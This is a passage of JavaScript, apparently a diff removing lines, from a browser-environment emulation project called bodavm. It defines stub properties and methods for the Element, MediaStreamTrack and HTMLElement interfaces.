bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_get", arguments)}, set:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPlaceholder", {configurable:true, enumerable:true, get:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_get", arguments)}, set:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPosInSet", {configurable:true, enumerable:true, get:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_get", arguments)}, set:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaPressed", {configurable:true, enumerable:true, get:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_get", arguments)}, set:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaReadOnly", {configurable:true, enumerable:true, get:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_get", arguments)}, set:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRelevant", {configurable:true, enumerable:true, get:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_get", arguments)}, set:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRequired", {configurable:true, enumerable:true, get:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_get", arguments)}, set:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRoleDescription", {configurable:true, enumerable:true, get:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_get", arguments)}, set:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowCount", {configurable:true, enumerable:true, get:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_get", arguments)}, set:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowIndex", {configurable:true, enumerable:true, get:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_get", arguments)}, set:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaRowSpan", {configurable:true, enumerable:true, get:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_get", arguments)}, set:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSelected", {configurable:true, enumerable:true, get:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_get", arguments)}, set:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSetSize", {configurable:true, enumerable:true, get:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_get", arguments)}, set:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaSort", {configurable:true, enumerable:true, get:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_get", arguments)}, set:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueMax", {configurable:true, enumerable:true, get:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_get", arguments)}, set:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueMin", {configurable:true, enumerable:true, get:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_get", arguments)}, set:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueNow", {configurable:true, enumerable:true, get:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_get", arguments)}, set:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaValueText", {configurable:true, enumerable:true, get:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_get", arguments)}, set:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "children_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "firstElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "lastElementChild_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "childElementCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "previousElementSibling", {configurable:true, enumerable:true, get:function previousElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "previousElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "nextElementSibling", {configurable:true, enumerable:true, get:function nextElementSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "nextElementSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "after", {configurable:true, enumerable:true, writable:true, value:function after (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "after", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "animate", {configurable:true, enumerable:true, writable:true, value:function animate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "animate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "append", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "attachShadow", {configurable:true, enumerable:true, writable:true, value:function attachShadow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attachShadow", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "before", {configurable:true, enumerable:true, writable:true, value:function before (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "before", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "closest", {configurable:true, enumerable:true, writable:true, value:function closest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "closest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "computedStyleMap", {configurable:true, enumerable:true, writable:true, value:function computedStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "computedStyleMap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttribute", {configurable:true, enumerable:true, writable:true, value:function getAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNames", {configurable:true, enumerable:true, writable:true, value:function getAttributeNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNames", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNode", {configurable:true, enumerable:true, writable:true, value:function getAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function getAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAttributeNodeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getBoundingClientRect", {configurable:true, enumerable:true, writable:true, value:function getBoundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getBoundingClientRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getClientRects", {configurable:true, enumerable:true, writable:true, value:function getClientRects (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getClientRects", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByClassName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getElementsByTagNameNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getInnerHTML", {configurable:true, enumerable:true, writable:true, value:function getInnerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getInnerHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttribute", {configurable:true, enumerable:true, writable:true, value:function hasAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttributeNS", {configurable:true, enumerable:true, writable:true, value:function hasAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasAttributes", {configurable:true, enumerable:true, writable:true, value:function hasAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "hasPointerCapture", {configurable:true, enumerable:true, writable:true, value:function hasPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "hasPointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentElement", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentHTML", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "insertAdjacentText", {configurable:true, enumerable:true, writable:true, value:function insertAdjacentText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "insertAdjacentText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "matches", {configurable:true, enumerable:true, writable:true, value:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "matches", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prepend", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "querySelectorAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "releasePointerCapture", {configurable:true, enumerable:true, writable:true, value:function releasePointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "releasePointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttribute", {configurable:true, enumerable:true, writable:true, value:function removeAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttributeNS", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "removeAttributeNode", {configurable:true, enumerable:true, writable:true, value:function removeAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "removeAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceChildren", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "replaceWith", {configurable:true, enumerable:true, writable:true, value:function replaceWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "replaceWith", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "requestFullscreen", {configurable:true, enumerable:true, writable:true, value:function requestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "requestPointerLock", {configurable:true, enumerable:true, writable:true, value:function requestPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "requestPointerLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scroll", {configurable:true, enumerable:true, writable:true, value:function scroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scroll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollBy", {configurable:true, enumerable:true, writable:true, value:function scrollBy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollBy", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollIntoView", {configurable:true, enumerable:true, writable:true, value:function scrollIntoView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoView", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollIntoViewIfNeeded", {configurable:true, enumerable:true, writable:true, value:function scrollIntoViewIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollIntoViewIfNeeded", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollTo", {configurable:true, enumerable:true, writable:true, value:function scrollTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttribute", {configurable:true, enumerable:true, writable:true, value:function setAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNode", {configurable:true, enumerable:true, writable:true, value:function setAttributeNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setAttributeNodeNS", {configurable:true, enumerable:true, writable:true, value:function setAttributeNodeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setAttributeNodeNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setPointerCapture", {configurable:true, enumerable:true, writable:true, value:function setPointerCapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setPointerCapture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "toggleAttribute", {configurable:true, enumerable:true, writable:true, value:function toggleAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "toggleAttribute", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitMatchesSelector", {configurable:true, enumerable:true, writable:true, value:function webkitMatchesSelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitMatchesSelector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "webkitRequestFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitRequestFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "webkitRequestFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "checkVisibility", {configurable:true, enumerable:true, writable:true, value:function checkVisibility (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "checkVisibility", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "setHTML", {configurable:true, enumerable:true, writable:true, value:function setHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "setHTML", arguments)}},'prototype'); - -// MediaStreamTrack对象 -bodavm.memory.globalobj['MediaStreamTrack'] = function MediaStreamTrack(){if (!(this instanceof MediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrack'], "MediaStreamTrack"); -bodavm.memory.globalobj['MediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaStreamTrack'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "enabled", {configurable:true, enumerable:true, get:function enabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_get", arguments)}, set:function enabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "muted", {configurable:true, enumerable:true, get:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "muted_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onmute", {configurable:true, enumerable:true, get:function onmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_get", arguments)}, set:function onmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onunmute", {configurable:true, enumerable:true, get:function onunmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_get", arguments)}, set:function onunmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "contentHint", {configurable:true, enumerable:true, get:function contentHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_get", arguments)}, set:function contentHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "applyConstraints", {configurable:true, enumerable:true, writable:true, value:function applyConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "applyConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCapabilities", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getConstraints", {configurable:true, enumerable:true, writable:true, value:function getConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getSettings", {configurable:true, enumerable:true, writable:true, value:function getSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getSettings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "stop", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "oncapturehandlechange", {configurable:true, enumerable:true, get:function oncapturehandlechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_get", arguments)}, set:function oncapturehandlechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCaptureHandle", {configurable:true, enumerable:true, writable:true, value:function getCaptureHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCaptureHandle", arguments)}},'prototype'); - -// HTMLElement对象 -bodavm.memory.globalobj['HTMLElement'] = function HTMLElement(){if (!(this instanceof HTMLElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLElement'], "HTMLElement"); -bodavm.memory.globalobj['HTMLElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['HTMLElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('HTMLElement', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "lang", {configurable:true, enumerable:true, get:function lang (){return 